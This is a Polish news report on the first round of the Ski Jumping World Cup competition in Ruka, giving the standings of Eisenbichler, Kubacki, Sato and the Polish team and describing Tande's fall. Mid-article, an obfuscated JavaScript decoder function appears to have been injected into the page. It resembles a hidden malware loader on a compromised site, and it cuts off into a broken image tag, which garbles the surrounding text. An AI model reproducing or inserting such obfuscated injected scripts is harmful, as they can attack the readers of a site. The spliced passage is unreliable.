PŚ Ruka: Eisenbichler liderem po najdłuższym skoku, Kubacki drugi!

Markus Eisenbichler po zdecydowanie najdłuższym skoku na 146 metrów jest liderem sobotniego konkursu Pucharu Świata w fińskiej Ruce. Drugie miejsce na Rukatunturi (HS-142) zajmuje Dawid Kubacki. Do serii finałowej awansowała cała Biało-Czerwona szóstka.

Pierwsza seria w fińskiej Ruce padła łupem niemieckiego lidera klasyfikacji generalnej Pucharu Świata. Markus Eisenbichler umiejętnie skorzystał z wiatru pod narty rzędu 0,33 m/s i poszybował aż 146 metrów. 29-latek zachwiał się podczas lądowania, jednak zdołał ustać swoją próbę zakończoną zaledwie 1,5 metra przed oficjalnym rekordem obiektu.

Na drugiej pozycji plasuje się najmocniejszy z polskich skoczków, Dawid Kubacki, który mając nieco mniejsze wsparcie wiatru (0,14 m/s) w lepszym stylu od Niemca poszybował 139 metrów. Po pierwszej rundzie 30-latek traci do liderującego Niemca sporo, bo 8,8 punktu. Pojawia się jednak ogromna szansa na jego dwudzieste pucharowe podium w karierze. Czołową trójkę stawki uzupełnia bardzo równo i dobrze prezentujący się w treningach Japończyk Yukiya Sato (140,0 m), który miał mocniejsze podmuchy pod narty (0,43 m/s).

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ande (fot. Julia Piątkowska)” src=”https://www.skokipolska.pl/wp-content/uploads/2019/12/DanielAndreTande_Wisla2019lot_fot.JuliaPiatkowska-300x199.jpg" alt="Daniel Andre Tande (fot. Julia Piątkowska)" width="300" height="199"> Daniel Andre Tande (fot. Julia Piątkowska)

Czwarte miejsce na półmetku zmagań wyskakał Piotr Żyła, który lądował na 136. metrze. Ponadto awans do serii finałowej wywalczyli: 12. Andrzej Stękała (131,0 m), 12. Klemens Murańka (131,0 m), 16. Paweł Wąsek (130,0 m) i 22. Kamil Stoch (125,0 m), który dość niespodziewanie okazał się w pierwszej serii najniżej klasyfikowanym polskim zawodnikiem.

O sporym pechu mogą mówić Norwegowie. Startujący jako drugi Daniel Andre Tande miał za sobą udaną serię próbną (3. miejsce), jednak w konkursie uzyskał zaledwie 106,5 metra, ponadto zaliczył upadek i mocno uderzył prawym kolanem w zmrożony zeskok. Skocznię opuścił na noszach i jak informowali Norwegowie, narzekał na mocny ból, który mógł zwiastować ryzyko kontuzji. Ponadto po solidnej 128 metrowej próbie zdyskwalifikowany został powracający do Pucharu Świata Johann Andre Forfang, który jak się okazało... rozpoczął swoją próbę zanim na skoczni zapaliło się zielone światło.

Początek finałowej serii konkursowej jest zaplanowany na godzinę 17:41. Telewizyjna transmisja w TVP 1, TVP Sport i Eurosporcie 1. Tekstowa relacja LIVE trwa na SkokiPolska.pl i na naszym Twitterze.

Wyniki pierwszej serii:

Pełne wyniki pierwszej serii >>>

Bartosz Leja,
informacja własna